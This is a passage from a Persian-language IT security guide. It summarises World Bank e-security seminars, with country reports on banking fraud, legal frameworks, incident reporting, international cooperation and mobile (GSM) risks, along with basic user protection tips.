 ميليـون   ۳ تـا    ۲ايـن كـشور داراي      . اساسي تبديل شده است   

 بانــك، خــدمات ۱۷ كــارت اعتبــاري اســت و حــدود دارنــدة
كنند و در سال چندين ميليـون       اعتباري اين كارتها را ارائه مي     

تخمين زده شده كه    . شود  تبادل تجاري الكترونيكي انجام مي    
سوء استفادة  )  ميليون دلار آمريكا   ۸معادل  ( ميليون پزو    ۴۰۰حدود  

 از كارتهـاي    گرفتهتوان به كلاهبرداريهاي صورت   مالي را مي  
ــسبت داد  ــاري ن ــور   . اعتب ــز بط ــودپرداز ني ــتگاههاي خ دس

اي مورد استفاده هـستند و در سراسـر كـشور چيـزي              گسترده
  . ميليون مشتري دارند۱۰حدود 

سومين موضوع بحث اين بود كه يـازدهم سـپتامبر بانكهـا را             
مجبور ساخت كه براي ارتقاي امنيت الكترونيكي بـه تـلاش           

  . با كشورهاي ديگر بپردازندجهت افزايش همكاري

، اقتصاد الكترونيكي فيليپين هم هنوز        همانند ساير نقاط جهان   
فيليپـين در ايـن راسـتا بـه         . در مراحل اولية توسعه قـرار دارد      

قسمتهايي از هشت ركن پيشنهادي امنيت الكترونيكي بـراي         
پيوند چارچوب قانوني بـا     : كاهش مخاطرات نيز پرداخته است    

ل ضـوابط، برقـراري همكـاري ميـان دولـت و            روشهاي اعما 
شركتهاي خصوصي، و نيز بهبود تواناييهاي نيروهاي انتظامي        

با اينهمه فيليپين هنـوز نيازمنـد       . در حوزة جرائم فضاي سايبر    
ــاي    ــراي دادگاهه ــانوني، بخــصوص ب ــرة ق ــان خب كارشناس

تـوان بـه      از ديگر نيازهـاي ايـن كـشور مـي         . تخصصي است 
موزش كلية افراد درگير در حـوزة خـدمات         پايگاههاي داده و آ   

كننـدة  مالي شامل مشتريان، فروشـندگان، و شـركتهاي ارائـه         
  .خدمات اشاره كرد

ايـالات متحـده    ) ۱: ها دو سؤال عمده مطرح كردنـد        فيليپيني
چگونه ميان گزارش رويدادها و حفظ مسائل محرمانه، تـوازن          

ر قـوانين   الملـل د    جايگاه پلـيس بـين    ) ۲برقرار كرده است؟ و     
  جرائم جزايي چيست؟
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 راهنماي امنيت فناوري اطلاعات ٢٢٠

  سريلانكا

اي از    زمينـه   نمايندگان سريلانكا صحبت خود را با ارائه پـيش        
اقتصاد الكترونيكـي و بحـث دربـارة محـدوديتهاي گـسترش       

آنها عقيده داشـتند    .  آگاهي امنيتي كاربران اينترنت آغاز كردند     
كه مسائل مربوط به گسترش ارتباطات به زودي حل خواهند          

مشكل عدم آگاهي نيز بيشتر در سطح مـديريت وجـود           شد و   
هـايي مثـل      همـين دليـل جلـب حمايـت در زمينـه            دارد و به    

ضعف ديگري كـه    نقطه. گسترش ارتباطات بسيار دشوار است    
توان آنرا در ميان مشتريان يافـت، عـدم آگـاهي از نحـوة              مي

درنتيجه اعتمـاد ميـان     . انجام يك معاملة اينترنتي ايمن است     
ان كاهش يافته و كمتر مايل بـه شـركت در معـاملات           مشتري

ها و مباني كاري بـه      مشيايجاد و ارائه خط   . شونداينترنتي مي 
تواند به ايجـاد اعتمـاد در مـشتريان           دهندگان خدمات مي    ارائه

  .هم كمك كند

. كنندگان خدمات اينترنتي بـود      پرسش سريلانكا متوجه فراهم   
اهبردهـاي رسـمي و مبـاني       خواستند بدانند كـه آيـا ر        آنها مي 

ها در زمينة امنيت الكترونيكي وجود خواهـد        ISPكاري براي   
آنها همچنين خواستار دريافت اطلاعاتي دربارة      . داشت يا خير  

 اينكـه آيـا خـصوصي يـا دولتـي           -سازمان امنيت كره شدند     
  .دهداست، و اينكه چه نقشهايي را تحت پوشش قرار مي

  بلغارستان 

 بـا فرهنگـي     ۱۹۸۹ بلغارسـتان در سـال       خدمات نوين بـانكي   
اين خدمات شامل   . اندازي شد مشابه ايالات متحده و اروپا راه     

افـزاري خـاص صـنعت        هاي نـرم    سيستمهاي پرداخت و بسته   
).  اشـاره كـرد    BANKNETتـوان بـه       براي مثـال مـي    (بانكداري بود   

بلغارستان راهكارهاي امنيتي را با سؤالات اساسـي در زمينـة           
آغاز كرد، و سپس عناصر     "  چيزي بايد حفاظت شود    چه"اينكه  

ــاتي اينكــار  ــستمهاي   مثــل شــبكه-حي هــاي فيزيكــي، سي
هـا  هـاي كـاربردي حفاظـت از داده         اطلاعات داخلي، و برنامه   

 را معرفـي    -) هاي تبادلي ميان بانكها و مـشتريان        الخصوص داده   علي(
  .نمود

كـه  از بعد سازماني، بلغارسـتان يـك كميتـة داخلـي داشـت              
هـاي  مـشي تـدوين خـط   . مسئول تحليل و ارائه راهكارها بود     

هـاي ارتبـاطي و       امنيت الكترونيكي نيازمند نظارت بـر شـبكه       
روز افزارهاي به   افزارها و سخت    كاربرد آنها است كه شامل نرم     

بلغارهـا ايمنـي    .  و فهرست فعاليتهاي خاص و پيچيـده اسـت        

 تغييرات نظارتي   .دانندسيستمهاي پرداخت را بسيار حياتي مي     
 يكي از اجـزاي مهـم   -و پيشگيرانة اين كشور شامل آموزش      

آنهـا همچنـين اشـاره      . شـود    نيز مي  -طرح امنيتي بلغارستان    
مشتمل (كردند كه بايد روي مباني قانوني و اجرايي اين مسئله           

همچنـان كـار    ) هاي مختلف   بر قراردادهاي فني ميان مشتركان شبكه     
  .كنند

چوب قانوني براي امـضاي الكترونيكـي         ك چار  ي  در بلغارستان 
وجود دارد كه شامل قانون سند الكترونيكي، تنظيم فعاليتهاي         

يهاي پيـشرفتة امـضاي       قانوني مراكز صدور گواهي، و نيازمند     
 PKIدرحال حاضر بانكها مايل به ايجاد       . شودالكترونيكي مي 

 خواهند در كاربردهاي خاصِ ايـن سيـستم،       بانكها مي . هستند
بنابراين نيـاز بـه     . نقش مركز صدور گواهي را بر عهده بگيرند       

پذيري دروني و نيز استفاده از فناوريهاي سـازگار بـين       انعطاف
بلغارستان در زمينة سياستهاي امنيتـي نيـز        . بانكي وجود دارد  

هاي   يك ملاحظة خاص دارد و آن اينكه علاوه بر تعريف نياز          
سـازي و     پيـاده .  تعريف كند  تجاري بايد قابليت اطمينان را نيز     

استفادة عمومي از مفهوم امضاي الكترونيكـي در بـسياري از           
عوامل كليدي در سيـستمهاي پرداخـت       . فعاليتها دشوار است  

. بلغارستان عبارتنـد از فروشـنده، قابليـت اطمينـان، و قيمـت            
شـده هـستند كـه ايـن        خدمات بانكي در يك منطقة حفاظت     

ص بـراي هـر برنامـة        خـا  gatewayحفاظت شـامل وجـود      
بـا اسـتفاده از بـستة       . كاربردي و نيز وجود ديوارة آتش اسـت       

 قابليت دسترسي به بانكها از طريق       BANKNETافزاري  نرم
بسياري از حملات عليه پايگاههاي وب و       . اينترنت وجود دارد  

هاي پست الكترونيكـي بـه ايـن دليـل انجـام                دهنده  سرويس
ا از طريـق اينترنـت ميـسر        شود كه امكان دسترسي به آنه      مي
اما در پشت يك ديوارة آتش، سطح مناسـبي از امنيـت            . است

هاي كاربردي بين بـانكي تـأمين    براي خدمات بانكي و برنامه 
  .شود مي

، بانكهـاي مركـزي بـراي         در بلغارستان يـا هـر جـاي ديگـر         
سيستمهاي پرداخت الكترونيكي چارچوبهاي قانوني تـصويب       

 معمولاً شامل روشهاي جديد پرداخـت       اين چارچوبها . كنند  مي
از ايـن   . و قوانين حاكم بر سيستمهاي ملي پرداخـت هـستند         

طريق، مباني قانوني جديدي براي سيستمهاي ملي پرداخـت         
از جمله سيستمهاي پرداخت مركزي و نيز سيستمهاي كارتي         

بلغارستان به اين نتيجه رسـيد كـه پـول رايـج            . آيدبوجود مي 
آنها . رازهاي بانكي مشكلساز شده است    بدليل شرايط سخت ت   
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در خصوص نقش نظارت در امنيت الكترونيكـي سيـستمهاي          
خواهنـد بداننـد كـه آيـا بايـد بـر              پرداخت پرسش دارند و مي    
بعنـوان  . تري اعمال كـرد يـا نـه       سيستمها نظارت سختگيرانه  

اي بـراي     گيرانه  مثال برزيل و آفريقاي جنوبي روشهاي سخت      
 پرداخت دارند و معتقد هستند كه يـك         نظارت بر سيستمهاي  

در بعـضي شـرايط،     . انـد سيستم كارآ و رقابتي طراحـي كـرده       
توانند به يـك عامـل انحـصار بـراي سيـستمهاي             قوانين مي 

فروشي تبديل شوند و از فعاليت آنها جلوگيري كننـد ، و              خرده
لذا مستندات ضوابط بايد شـامل ارزيابيهـاي دقيقـي از نحـوة             

  .فروشي نيز بشوند ا بر سيستمهاي خردهتأثير فناوريه

  گيري  نتيجه
كننده بر ضرورت آموزشهاي فرابخشي         همة كشورهاي شركت  

و گسترده در زمينه امنيت الكترونيكي تأكيد داشتند، و نهايتـاً           
سازي بانك جهاني مـسئوليت ارائـه گزارشـات         گروه يكپارچه 

 و برگزاري سـمينارها در موضـوع كـاهش          الگوهاي سرآمدي 
  .مخاطرات الكترونيكي را بر عهده گرفت

  :۲۰۰۳سمينار جهاني سال 
  ٢٣٥ايمني و سلامت الكترونيكي

اين نشست با عنايت به رشـد روزافـزون مخـاطرات، اهميـت           
توجه به موضـوعات امنيـت الكترونيكـي را در قالـب جهـاني              

دهي،   نظمي در روالهاي گزارش   درصورت بي . كرد  يادآوري مي 
بيـشتر  . سـازتر شـوند     تواننـد خطـر      مي همة رخدادهاي امنيتي  

عـلاوه  . اطلاعات مربوط به امنيت الكترونيكي نادقيق هستند      
ات الكترونيكـي   بر اين، كرمها، ويروسها، و ساير انـواع تهديـد         

  .اندبراي زيرساختهاي حياتي دنيا عوارض جدي بوجود آورده

                                                                  
زار ـبانك جهاني برگسازي  يكپارچهور اعضاي گروه   ـاين جلسه با حض      ۲۳۵

 Thomas: ه عبــارت بودنــد ازـضاي حاضــر در جلــســـاع. شــد
Glaessner ،Tom Kellerman و ،Valerie McNevin ،
كنندگان در اين سمينار جهاني از كـشورهاي برزيـل،           بعلاوة شركت 

شيلي، كلمبيا، مكزيك، عربستان سعودي، اوكـراين، اسـتراليا، چـين       
. ، مـالزي، فيليپـين، سـنگاپور، و سـريلانكا        )كنـگ  هنگ(، چين   )پكن(

توانيـد بـه آدرس زيـر       براي دستيابي به اسناد اصلي اين نشستها مي       
  :مراجعه كنيد

http://wbln0018.worldbank.org/html/FinancialS
ectorWeb.nsf/SearchGeneral?openform&E-
Security/E-Finance&Presentations 

مشكلات امنيت الكترونيكي معمولاً عبارتند از كمبود تيمهاي        
ديـده، فقـدان فرآينـدهاي كـارآي دولتـي بـراي            نيتي تعليم ام

. كنترل صحت، و فناوريهاي درحال رشد مثل ارتباطات سـيار         
 اطلاعات بسرعت درحال رشد هستند و بـه          ستونهاي فناوري 

 همـان    پذيريها هم بـه     هاي سايبر و آسيب     اين دليل كه تهديد   
 در  باشند، ميلياردهـا دلار سـرمايه     سرعت درحال گسترش مي   

المللي پـرداختن   هدف گفتگوهاي بين  . معرض خطر قرار دارد   
دهنـد، بلكـه آن    به اين نيست كه چرا نفوذهاي امنيتي رخ مي   
  .توان انجام داد است كه براي حل مشكلات چه كاري مي

  :كاهش مخاطرات امنيت الكترونيكي
  تركيبي از زيربناهاي نرم و سخت

عبـارت اسـت از     يك تعريف ممكن براي امنيت الكترونيكـي        
هر ابزار، فن، و فرآيندي كه داراييهاي اطلاعاتيِ يك سيستم          "

را در مقابل تهديداتي كه متوجه محرمـانگي، جامعيـت يـا در             
امنيت الكترونيكي از   ". دسترس بودن آنها است، محافظت كند     

زيربناي نرم شامل سياستها،    : دو زيرساخت تشكيل شده است    
ــا  ــدها و پروتكله ــا، فرآين ــامل  رواله ــخت ش ــاي س ؛ و زيربن

افزايش وابستگي به فناوري باعث     . افزارها  افزارها و نرم    سخت
تـر شـدن    هـا و احيانـاً گـسترده      افزايش احتمال وقـوع تهديـد     
از طرف ديگر همانطور كه     . شود  تأثيرات و خسارتهاي آنها مي    

شـده و گـاه     پيش از اين ديديم به علت فعاليتهاي سازماندهي       
همـة  . شـود  و شدت حملات افزوده مي     تروريستي، بر سرعت  

دهند تا كاهش مخاطرات را      اين موارد دست به دست هم مي      
آل و  به يكي از مهمترين قسمتهاي يـك طـرح امنيتـي ايـده            

 .اثربخش تبديل كنند

هـاي امنيـت الكترونيكـي بـه چنـد دليـل بـا                گسترش برنامه 
  :چالشهاي عظيمي روبرو است

فعاليتهـاي امنيتـي بجـاي      اول، معمولاً انتظار آن اسـت كـه         
بايد اين ديـدگاه را تغييـر داد تـا    .  باشند  كنشي بودن، واكنشي  

هاي فعلي و آينـده بـه         بتوان بصورت فعالانه و مداوم با تهديد      
  .مبارزه پرداخت

اي  المللـي از اهميـت ويـژه    هـاي بـين   ، همكاري در زمينه  دوم
؛ برخوردار است، بخصوص براي سازمانهاي قانوني و نـاظران        

دانيم كه حتي در يك كشور واحد هم همكـاري ميـان            اما مي 
  .تواند امري پيچيده باشد سازمانهاي داخلي مي
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، عدم گـزارش رويـدادها يـك مـانع جـدي بـراي درك                 سوم
ميلـي قابـل      محدودة تهديدهاي موجود است؛ چراكه هنوز بي      

  .توجهي نسبت به گزارش عمومي نفوذهاي امنيتي وجود دارد

كـردن  علاقگـي مؤسـسات بـه گـزارش       وه بر بـي   ، علا   چهارم
رخدادها، بازة زماني واكنش بـه رخـدادها نيـز در بـسياري از              

  .موارد زياد است

كننـد  سرانجام آنكه كاركنان همچنان نقش محوري بازي مي       
تواند امنيت تمام شـبكه را زيـر          تجربه مي   و تنها يك كاربر بي    

افـراد نـسبت    سؤال ببرد؛ و لذا ضروري است كه آگاهي تمام          
درصورتيكه تهديدات الكترونيكي به    . ات افزايش يابد    به تهديد 

درستي مديريت نـشوند، نـاگزير اعتمـاد عمـومي نـسبت بـه              
با درنظر داشتن اين موارد، براي      . دار خواهد شد  فناوري خدشه 

دستيابي به سطوح بالاتري از امنيت الكترونيكي بايد گامهاي         
  :متعدد ديگري نيز برداشت

اندركاران بـازار     دست، مؤسسات مالي و ساير      قانونگذاران،  اول
 امنيـت   الگوهاي سـرآمدي  بايد در جهت شناسايي و گسترش       

  .الكترونيكي اقدام كنند

همكاري بايد به امري عادي و هميشگي تبـديل شـود؛           ،    دوم
بخصوص با عنايت خاص به رفع تهديدات كليدي كه متوجـه     

  .سازمانها و عموم مشتريان است

ارائه خدمات آموزشـي بـه كاركنـان و مميـزان قـسمت       وم،  س
امنيت بايد از اولويت بـالايي در فعاليتهـاي تجـاري و دولـت              

تعريف و گسترة عملي مخاطرات بايـد شـامل         . برخوردار باشد 
ــد   ــلاوة اَشــكال ســنتيِ تهدي ــايبر بع ــواع مخــاطرات س ات  ان

  .اطلاعاتي و فيزيكي نيز باشد

  نظارت بر امنيت اطلاعات
  مخاطرات فناوريو 
 فراتر از مـرز تواناييهـا و        فناوري اطلاعات كه بخش    حالي در

كند، رجوع به منابع خارجي بـراي         استعدادهاي محلي رشد مي   
تأمين امنيت به يك كار رايج تبديل شده و خصوصاً اسـتفاده            

المللي بـراي ايـن منظـور، هـم تهديـدها و هـم                از منابع بين  
. ر سراسر دنيا بوجود آورده است     فرصتهايي را براي سازمانها د    

هـاي    فعاليتهايي كه در سالهاي اخيـر جهـت كـاهش تهديـد           
توان يك توفيق اجباري براي شود را مي  الكترونيكي انجام مي  

كنـد يـك برنامـة واكنـشي        بانكها دانست كه آنها را ملزم مي      

هاي مشتري در برابـر تهديـدها تـدوين           براي حفاظت از داده   
ر تمام راهنماييهاي لازم را نيز بـراي آنهـا          كنند و در اين مسي    

اي بايــد فرآينــدهاي   در چنــين برنامــه . آوردفــراهم مــي 
يافتن مشتريان از رخدادهاي افشاي غيرمجاز اطلاعات        آگاهي

  .نيز مد نظر قرار گرفته باشد

عليرغم سياستها و روالهاي پيچيدة ابتكاري ، هنوز هم امنيت          
 بنابراين همچنان مراقبت و به امري ساده تبديل نشده است و     

هاي جديد مباحـث    بعضي حوزه . آموزش مداوم ضروري است   
: طلبنـد عبارتنـد از      امنيتي كه درحال حاضر توجه بيشتري مي      

يـاب، و     پذيري، آزمون نفوذ، سيستمهاي مهاجم      ارزيابي آسيب 
  .قوانين جرائم فضاي سايبر

  :فناوريهاي سيار
  دستاوردها و مخاطرات جديد 

 ميليـون كـاربر در سراسـر        ۷۸۷ حدود   GSM ،  ۲۰۰۲در سال   
سيم با سرعتي معادل سه برابر سرعت          فناوري بي  .دنيا داشت 

ماننـد سـاير    اين فناوري نيز    . خطوط زميني درحال رشد است    
هـاي مخـرب مثـل      برنامـه فناوريهاي ارتباطي نسبت به تكـه     

پـذير    تراواها، ويروسـها و حمـلات تخريـب سـرويس آسـيب           
سيم در محيط خـصمانة اينترنـت، پاشـنة        اوري بي  فن .باشد مي

سـيم    معمـولاً اتـصال بـي     . آيـد   آشيل امنيت بـه حـساب مـي       
ــي     ــسوب م ــي مح ــر امنيت ــة زنجي ــعيفترين حلق ــودض  .ش

، SIMپذيري كـارت     آسيب عبارتند از    GSMهاي  پذيري آسيب
اي كه بـا      و نيز حمله   ،WAP هايپذيري ، آسيب   SMS ارانبمب
  ٢٣٦.شودشناخته مي" man in the middle"نام 

 ممكـن نيـست، امـا       GSM فناوريسازي كامل    اگرچه ايمن 
تواند از خود حفاظت بسيار بيشتري      كاربر با چند گام ساده مي     

  :بعمل آورد

  اندازي؛فعال كردن رمز عبورِ راه •
  ؛ويروس افزار ضد نرمنصب  •
  ديوارة آتش شخصي با قابليت رمزگذاري؛يك نصب  •

                                                                  
شده خود را بعنوان يك     ه يك تلفن همراه دستكاري    در اين نوع حمل      ۲۳۶

كنـد و   ايستگاه ثابت جعلي براي ساير تلفنهاي همـراه معرفـي مـي           
اطلاعـات در   . توانـد اطلاعـات را بـدزدد      بدين ترتيـب مهـاجم مـي      

gateway      هرگونه رمزگـذاري هـستند، و      ها كاملاً خالص و بدون
پذيريهاي بزرگي  شود كاربران و اطلاعات آنها با آسيب      اين باعث مي  
  .روبرو باشند
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از وســايل، و حفاظــت از اطمينــان از نگهــداري ايمــن  •
 افزارهاي كاربردي با رمزهاي عبور؛ نرم

در مورد كارتهـاي هوشـمند نيـز        . VPNافزار    نرمنصب   •
  . را مديريت كنندPINهاي اشخاص ثالث نبايد شماره

  سخنرانيهاي نمايندگان كشورها
در طول برگـزاري ايـن نشـست جهـاني از نماينـدگان كليـة               

  :ل زير پاسخ دهندكشورها خواسته شد كه به سه سؤا

در زمينة رخدادهاي امنيت الكترونيكي چه نگرشـهايي         .۱
پـذيريها كدامنـد؟      بينيد؟ بزرگترين چالشها يا آسيب      مي

سرقت هويت، تخريب سـرويس، پولـشويي اينترنتـي، يـا سـاير             (
  )اَشكال كلاهبرداري الكترونيكي

درحال حاضر مؤسسات اقتصادي در كشور شما از چـه           .۲
هش مخاطرات امنيت الكترونيكي    فرآيندهايي جهت كا  

كنند و چه تغييراتي را در فرآيند نظارت خود           پيروي مي 
  درنظر دارند؟

تواننـد بـا      مؤسسات چندجانبه و چندمليتي چطـور مـي        .۳
  همكاري ساير سازمانهاي نظارتي به شما كمك كنند؟

  برزيل

نمايندة برزيل خاطرنشان كرد كه رقابت، شركتها را به ساخت          
كند، اما ايـن فناوريهـا مـستعد          شرفته هدايت مي  فناوريهاي پي 

هاي خـدمات از يـك سـو و         ميان هزينه . پذيري هستند   آسيب
كـارآيي  . كلاهبرداريها از سوي ديگر، يك تـوازن وجـود دارد         

هـاي آموزشـي در برزيـل    فنون برگـزاري آزمـون بـراي دوره     
  .درحال افزايش است

ه ايــن ســؤال كــه مؤســسات چنــدمليتي چگونــدر پاســخ بــه 
ها مايل بودند كه در       توانند به كشورها كمك كنند، برزيلي      مي

برگـزاري آزمـون بـراي    : هاي زير به آنهـا كمـك شـود        زمينه
هاي آموزشي، تدوين راهكارها و استانداردهاي امنيـت، و       دوره

  .نيز ايجاد مدلهاي امنيت با حداقل قوانين بانكي

  پرسش
يا و پيشرفت سريع    ها پرسيدند كه با توجه به طبيعت پو         برزيلي

تـوان    فناوري كه قانونگذاري را مشكل سـاخته، چگونـه مـي          
  .زيرساخت قانوني برخورد با جرائم را ايجاد كرد

  پاسخ
يك نمايندة كشور سنگاپور، در پاسخ به اين پرسش پيـشنهاد           

روزكـردن مقـررات در فواصـل         هاي شديد اداري و بـه       جريمه
قانون سوء  "وانيني مثل   زماني منظم را داد؛ چراكه معتقد بود ق       

اي و    ، فايدة خود را در تشخيص جرائم رايانـه        "استفاده از رايانه  
  .انداي نشان داده كاهش جاذبة آن براي نفوذگران غيرحرفه

اين يك پديـدة اجتمـاعي      بيان كرد كه    نيز   FBI ةيك نمايند 
فـرد   در بعـضي مـوارد       .المللي و غيروابسته به مرزها است     بين

مي كه درحال ارتكاب آن است را تشخيص        جرخطاكار شدت   
 را بعنـوان    اي  جـرائم رايانـه   در حقيقت بعضي افـراد      . دهد  نمي
بعلاوه بانكهـا هـم بـراي       . شناسند نميواقعي به رسميت     جرم

كنند كه افسانة امنيـت       جذب مشتري بيشتر اينطور وانمود مي     
بنابراين لازم است كه شـناخت بيـشتري        . اند  را جاوداني كرده  

ورد مخاطرات خدمات مـالي و تجـارت الكترونيكـي بـه            در م 
عموم مردم داده شود، چراكـه در ايـن حـوزه مـسدود كـردن               

ــا مــشكلات را حــادتر مــي  ــد اطلاعــات تنه بخــصوص، . كن
مــشكلات شــگرفي در رابطــه بــا طبيعــت فرابخــشي جــرائم 
الكترونيكي، از جمله نفوذهاي سايبر و دستكاري پايگاههـاي         

المللي در ايـن زمينـه        ابراين همكاري بين  بن. بانكي وجود دارد  
  .لازم است

  مكزيك 

ــخ بــه  در ــن در رخــدادهاي امنيــت     پاس نگرشــهاي ممك
ــي ــه  الكترونيك ــرد ك ــاره ك ــك اش ــان دسترســي ، مكزي امك

و ايـن   به افـزايش اسـت        طريق وب رو    از PINهاي    شماره  به
صـورت آنهـا     در هر.كندمسئله جديت مخاطرات را بيشتر مي     

،   كنند  مي  مخاطرات الكترونيكي  ي براي كاهش  تلاشهاي زياد 
سسات مالي ظرفيتهاي كنترلـي قـوي دارنـد و شـركتهاي            ؤم
فنــاوري كــه در زمينــة  هــستندبــسياري نظــارتي ي و يتــامن

هـاي    مكزيك توصـيه    بعلاوه. تخصص داشته باشند  اطلاعات  
BASEL      كـرده   مخـاطرات فنـاوري لحـاظ      را براي كنتـرل 

  . است

براي به اشتراك گذاشـتن      ها   مكزيكي ،مپاسخ به سؤال سو   در  
 اطلاعات جهـاني    ها و نيازها پيشنهاد كردند      تجربيات، ارزيابي 

  .ميان سازمانهاي مختلف مبادله شود
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  پرسش
  .سؤال كردهاي سنگاپور  مشي  عمق خطمكزيك درخصوصِ

  پاسخ
تجربيات كلي امنيت در سنگاپور بصورت اينترنتي در دسترس         

هـاي    فعاليـت در حـوزه     ۲۶شـامل   هـا   مشيخط اين   ٢٣٧. است
افزارهـاي    هـا، نقـشها و مـسئوليتها، نـرم          عامل، وصـله    سيستم

  .ضدويروس، ديوارة آتش، و غيره هستند

  كلمبيا

 كه مشكلات ايمني آنها مانند ساير       داشت كلمبيا بيان    ةنمايند
درحـال  . بيننـد   پذير مـي    و آنها نيز خود را آسيب       كشورها است 

ردي براي واكنش به رخدادها ندارد و       حاضر اين كشور استاندا   
انـدازي نـشده      اي نيـز در آن راه     مركز فوريتهاي امنيت رايانـه    

ي كلمبيايي مستعد هستندكه قربـاني        ها  گيرنده  سرويس. است
حملات قرار بگيرند، سـرقت هويـت درحـال افـزايش اسـت،             

ــانكي جعــل مــي قــانوني بــراي تــضمين  ، شــوند كارتهــاي ب
 كـاهش مخـاطرات تنهـا بـر عهـدة           محرمانگي وجود نـدارد،   

 امـا    رونـد   و كارتهاي هوشـمند بكـار مـي        PKI مميزها است، 
 كارمنـدان  امنيت الكترونيكي بانكها در حـد مقـدماتي اسـت،         

و امنيـت در    كننـد     مـي  يتـوجه بيايمني  دستورات  به  معمولاً  
فرهنگ بانكي كلمبيا در جايگاه صـحيح خـود قـرار نـدارد، و              

روز ماندن نيز يك مشكل        اين كشور به   علاوه بر همة اينها در    
  .باشداساسي مي

بديهي است كه در ايـن زمينـه مؤسـسات چندجانبـه نقـشي              
جــرائم  بــراي UNCITRAL  بعنــوان مثــال. اساســي دارنــد

هايي چون آزار و اذيت، تخريب سـرويس، و         اي در حوزه    رايانه
خصوصيت قـوانين   .  مرجع دارد  يك قانون همچنين معاملات،   

 است كه برخلاف قـوانين عـادي بايـد مبتنـي بـر              مرجع اين 
  .قوانين مدني باشند

  پرسش
نمايندة كلمبيا پرسيد كه جامعيت امنيت در مؤسـسات مـالي،           

. رود  بخصوص با ملاحظات سود و زيان، چطور زير سؤال مـي          
مسائلي چـون مـسئوليت و مـديريت مخـاطرات، نگرانيهـاي            
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  .رفته شونداساسي هستند؛ خصوصاً وقتي مشتريان درنظر گ

  پاسخ
محل وقوع جـرم    قضايي، حتي در تشخيص     ملاحظات  بدليل  

بـراي  . ضـروري اسـت   ميان سازمانهاي مختلف     همكاري   نيز
آغاز بايد يك زبان مشترك توصـيف مـشكلات، راهكارهـاي           

 مـثلاً . كاهش آنها و اسـتانداردهاي فرابخـشي تـدوين شـوند          
.  همراه بود  در اتحادية اروپا با مشكلاتي    " كلاهبرداري"تعريف  

كميتـة  يك نمونه از سازمانهاي فرابخشي فعال در اين زمينه،          
 است كه با پولـشويي و تروريـسم         ٢٣٨)FATF (فعاليتهاي مالي 

  .كند مبارزه مي

  اوكراين

پــس از اســتقلال اوكــراين، در سيــستم بــانكي ايــن كــشور  
تغييراتي رخ داد و باعث شد در آن از فناوريهـاي الكترونيكـي      

 فناوريهاي امنيتي مثـل امـضاي الكترونيكـي و          .استفاده شود 
 از زمــان ٢٣٩.شــوند رمزنگــاري توســط بانــك ملــي اداره مــي

استقلال اين كشور، قوانين امضا و معاملات الكترونيكـي بـه           
عليرغم برخي تلاشها براي نفوذ بـه سيـستم         . انداجرا در آمده  

  . بانكي، تاكنون خسارت خاصي گزارش نشده است

 معاهدة جرائم سـايبر     ۲۰۰۱اوكراين در سال    در حوزة قوانين،    
اي   هاي رايانه   را امضا كرد و از آن پس به تعقيب سوء استفاده          

علاوه بر اين پارلمان آن كشور يك قانون در زمينـة           . پرداخت
در متن  . حفاظت از اطلاعات شخصي به تصويب رسانده است       

ل اين  قوانين جنايي به جرائم سايبر نيز توجه شده، اما با اينحا          
گذارند، چراكه براي اعمال آنهـا      قوانين تأثير كمي بر جاي مي     

. در ارتكاب جرم به اثبات برسد     " قصد"و  " عمد"ابتدا بايد عامل    
با توجه به اين مـوارد، تعقيـب ناكـافي جـرائم بـه يـك روال                 

پسند براي اثبـات  روزمره بدل شده، چون ارائه مدارك محكمه  
كاركنان بخش  .  دشوار است  تعمدي بودن چنين جرائمي واقعاً    

آوري مـدارك   امنيت نيروهاي انتظـامي بايـد در زمينـة جمـع          
  .اثبات جرم آموزش كافي ببينند

  پرسش
 در مورد برآوردن مـسئوليت و تعهـد بـا            سئوال اصلي اوكراين  
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بعنـوان  . استفاده از مكانيزمهاي نظارت داخلي و گـزارش بـود   
نكي بـراي ايمنـي     ها توسط مأموران بـا      نمونه، گزارش رويداد  

براي كمك بـه ظرفيتهـاي واكـنش بـه          . بانك ضروري است  
اي در اوكـراين    رخدادها، يك مركز فوريتهـاي امنيـت رايانـه        

  .بوجود آمده است

   پاسخ
پسند، به ايـن نكتـه اشـاره شـد كـه            در مورد مدارك محكمه   

هاي الكترونيكي در معرض نـابودي سـريع هـستند و در              داده
ي نيز هيچ استانداردي براي مدارك قانوني       ا  حوزة جرائم رايانه  

با اينكه دنيا نيازمند راهبردهايي براي پيگردهـاي        . وجود ندارد 
قــانوني بــصورت ديجيتــال اســت، امــا درحــال حاضــر روش 

  .استانداردي كه مورد تأييد دادگاهها باشد وجود ندارد

  استراليا

 را انتخـاب و     BASEL2بندي اطلاعات،     استراليا جهت طبقه  
اند كـه اسـتفادة     با اينحال آنها دريافته   . سازي كرده است    ادهپي

ياب بـا اينهمـه تشخيـصهاي       روزافزون از سيستمهاي مهاجم   
نـشده  و سيـستمهاي تنظـيم  ) false positive(مثبت ناصحيح 

فناوريهاي جديـد بـر مبنـاي فناوريهـاي         . چندان آسان نيست  
 شـوند، و ايـن بـه پيچيـدگي و وابـستگي             پيشين ساخته مـي   

در همينحال ممكن اسـت     . زند  سيستمها به يكديگر دامن مي    
. سـازي نـشده باشـد       نحوة كار سيستمها نيز به خوبي مـستند       

يادگيري در مورد چگونگيِ وابـستگي سيـستمها بـه يكـديگر         
بسيار حياتي است، اما معمولاً مـستندات در دسـترس، بـسيار            

رد كه در نمايندة استراليا به اين مسئله اشاره ك  . محدود هستند 
هـاي عمـومي و       اين كشور مطالب آموزشي رايگان در زمينـه       

  . كردن فراهم استdownloadتخصصي براي 

  .استراليا سه نكته اساسي را مطرح كرد
   APEC در تمــامي كــشورهاي عــضو ۲۰۰۳اول، تــا اكتبــر 

در زمينة جرائم سايبر قوانيني وجود خواهد داشت؛ كه مواردي          
كي و اعمـال قـوانين الكترونيكـي        چون كلاهبرداري الكتروني  
  .گيرندالمللي را در بر مي بصورت فرابخشي و بين

، آمــوزش و همكــاري در زمينــة اجــراي قــانون در همــة  دوم
 بـصورت  فناوري اطلاعـات سطوح لازم است و استانداردهاي    

برنامة امنيت سايبر . ها قرار خواهند داشت    خلاصه در اين دوره   

APEC يـز خواهـد پرداخـت و بطـور         سـيم ن     فنـاوري بـي      به
 .پردازد  هم ميWi-Fiخلاصه به مخاطرات فناوريهايي چون 

 APEC در تمـام كـشورهاي عـضو    ۲۰۰۳، تا آخر اكتبر   سوم
  .اي تشكيل خواهد شد مراكز فوريتهاي امنيت رايانه

  ، پكن چين

نمايندة چين بيـان داشـت كـه آگـاهي عمـومي درخـصوص              
زايش يابد و براي نيل به اين       جايگاه امنيت الكترونيكي بايد اف    

يكـي از   .  مقصود ارزيابيهاي خارجي بيشتري مورد نيـاز اسـت        
